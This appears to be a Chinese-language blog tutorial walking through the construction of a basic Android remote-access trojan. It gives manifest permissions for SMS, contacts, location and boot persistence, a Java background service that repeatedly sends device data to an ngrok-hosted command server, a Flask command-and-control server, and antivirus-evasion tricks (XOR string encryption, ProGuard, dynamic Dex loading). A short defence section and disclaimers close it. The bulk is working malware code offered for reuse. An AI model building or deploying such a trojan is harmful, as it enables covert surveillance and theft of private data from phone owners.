一、从新闻事件谈起

前不久,一则关于某安卓设备遭受远程控制木马攻击的新闻引起了我的注意。攻击者通过精心伪装的APK文件,引诱目标用户安装后,成功窃取了设备中的隐私数据,包括联系人、短信、地理位置,甚至还能够拍摄照片和录制音频。更让人惊讶的是,这款木马具备一定的免杀能力,能够绕过大部分主流杀毒软件的检测。
作为一名安全技术爱好者,我对这样的攻击方式极为感兴趣。这类安卓远控木马无论在CTF比赛中,还是在红队行动中,都有很大的实战价值。因此,我决定复现一款功能简单但有效的安卓远控木马,并通过这篇文章详细记录整个过程。本文仅供授权测试和学习研究,请勿用于非法用途。
---
二、远控木马的攻击思路
说到安卓远控木马的开发,我们需要从以下几个问题出发:

- 如何隐藏恶意行为? 安卓系统的权限管理和应用签名机制,决定了我们必须在权限申请上绕开用户的防御心理。
- 如何实现通信? 一般来说,远控木马会通过HTTP、WebSocket或者自定义协议进行通信。我们需要选择一种简单可靠的通信机制。
- 如何植入Payload? Payload是木马的核心部分,它需要在目标设备上以服务形式常驻,并能响应攻击者的指令。
- 如何规避检测? 针对安卓杀毒软件,我们需要加入一些混淆和免杀手段。
接下来的内容将围绕这些问题,带你一步步复现一个简易版本的安卓远控木马。
---
三、搭建实验环境
在开始编码之前,我们需要搭建一个实验环境来测试木马。毕竟,任何攻击行为都必须在受控的合法环境中进行。
准备工作
- 虚拟机或物理机:一台运行 Kali Linux 的机器,用于开发和运行C2服务端。
- 安卓虚拟机:推荐使用 Genymotion 或者 Android Emulator,用于调试恶意APK的运行效果。
- 开发工具:Android Studio(用于修改代码和打包APK)和 Python 环境(用于开发C2服务端)。
网络架构
木马与控制端之间的通信需要通过一个公网IP,建议使用 ngrok 将本地服务映射到公网。网络结构如下:
<pre><code>[木马目标设备] <---> [公网C2服务器] <---> [攻击者控制台]</code></pre>

要确保目标设备和C2服务端能够正常通信,可以通过 ngrok 运行以下命令: <pre><code class="language-bash">ngrok http 8080</code></pre>
运行后会生成一个公网URL,稍后用于木马通信的目标地址。
---
四、木马Payload的实现
接下来,我们来看一个简易实现的木马Payload,它具备以下功能:
- 后台常驻:木马安装后会自动运行,并隐藏图标。
- 窃取隐私:获取短信、通讯录、地理位置等数据。
- 指令执行:支持从C2服务器接收命令并执行。

以下是主要的实现步骤:
创建基础安卓应用
首先,我们通过 Android Studio 创建一个最基本的安卓应用。代码目录结构如下: <pre><code>MyRat/ ├── app/ │ ├── src/ │ │ ├── main/ │ │ │ ├── AndroidManifest.xml │ │ │ ├── java/com/example/myrat/MainActivity.java │ │ │ ├── res/ │ │ │ │ ├── layout/ │ │ │ │ │ ├── activity_main.xml</code></pre>
在 AndroidManifest.xml 文件中,添加以下权限: <pre><code class="language-xml"><uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/></code></pre>
后台服务代码
我们创建一个服务(Service)类,用于在后台常驻并执行恶意操作。 <pre><code class="language-java">public class MyRATService extends Service { @Override public int onStartCommand(Intent intent, int flags, int startId) { // 在后台启动线程进行远控操作 new Thread(() -> { while (true) { try { // 定期向C2服务器发送心跳包 sendHeartbeat(); Thread.sleep(5000); } catch (Exception e) { e.printStackTrace(); } } }).start(); return START_STICKY; }
private void sendHeartbeat() { // 发送设备信息到C2服务器 String url = "http://<ngrok-url>/heartbeat"; String deviceInfo = getDeviceInfo(); postRequest(url, deviceInfo); }
private String getDeviceInfo() { // 获取设备信息 return Build.MODEL + "," + Build.VERSION.RELEASE; }
private void postRequest(String url, String data) { // HTTP POST 请求代码 try { URL endpoint = new URL(url); HttpURLConnection conn = (HttpURLConnection) endpoint.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); OutputStream os = conn.getOutputStream(); os.write(data.getBytes()); os.flush(); os.close(); } catch (Exception e) { e.printStackTrace(); } }
@Override public IBinder onBind(Intent intent) { return null; } }</code></pre>
---
五、服务端实现
为了与木马通信,我们需要开发一个简单的C2服务端。这里我选用 Python 编写。
<pre><code class="language-python">from flask import Flask, request
app = Flask(__name__)
@app.route('/heartbeat', methods=['POST']) def heartbeat():
接收木马的心跳包
device_info = request.data.decode('utf-8') print(f"[+] Received heartbeat: {device_info}") return "OK"
@app.route('/command', methods=['POST']) def command():
接收用户输入的命令,返回给木马
command = request.json.get('command') print(f"[+] Sending command: {command}") return command
if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)</code></pre>
运行服务端后,能够接收木马的心跳包,并通过 /command 接口向木马发送指令。
---
六、免杀和混淆技巧
完成木马开发后,直接运行可能会被杀毒软件识别。因此,我们需要加入基本的免杀和混淆措施:
- 代码混淆:使用 ProGuard 工具对APK进行代码混淆。
- 字符串加密:对敏感字符串(如C2地址)进行加密处理。
- 动态加载:将关键逻辑放在外部Dex文件中,通过
DexClassLoader动态加载。
以下是一个简单的字符串加密示例: <pre><code class="language-java">public class Utils { public static String decrypt(String encrypted) { // 简单的异或加密解密逻辑 char[] chars = encrypted.toCharArray(); for (int i = 0; i < chars.length; i++) { chars[i] ^= 'A'; // 使用 'A' 作为密钥 } return new String(chars); } }</code></pre>
在木马代码中,使用 Utils.decrypt() 解密需要用到的敏感信息。
---
七、检测与防御建议
- 行为检测:企业和个人用户可以通过启用手机的安全功能,监控可疑的后台流量。
- 限制权限:安装应用时严格限制权限,尽量避免授予敏感权限。
- 静态分析:对APK文件进行反编译,检查代码中的恶意逻辑。
- 网络监控:使用流量分析工具(如Wireshark)检测设备是否与可疑的C2服务器通信。
---
八、个人经验总结
回顾整个实现过程,安卓远控木马的开发并不复杂,很多功能可以直接通过安卓的API实现。关键在于攻击者如何隐藏自己的意图,以及如何绕过安全检测。
对于安全从业者来说,掌握这些攻击技术同样重要,因为只有熟悉攻击手法,才能更好地部署防御策略。希望这篇文章能够为大家提供一些启发,同时也提醒大家注意个人隐私和设备安全。
警告:本文内容仅供安全研究学习,请勿用于非法用途,一切后果作者概不负责。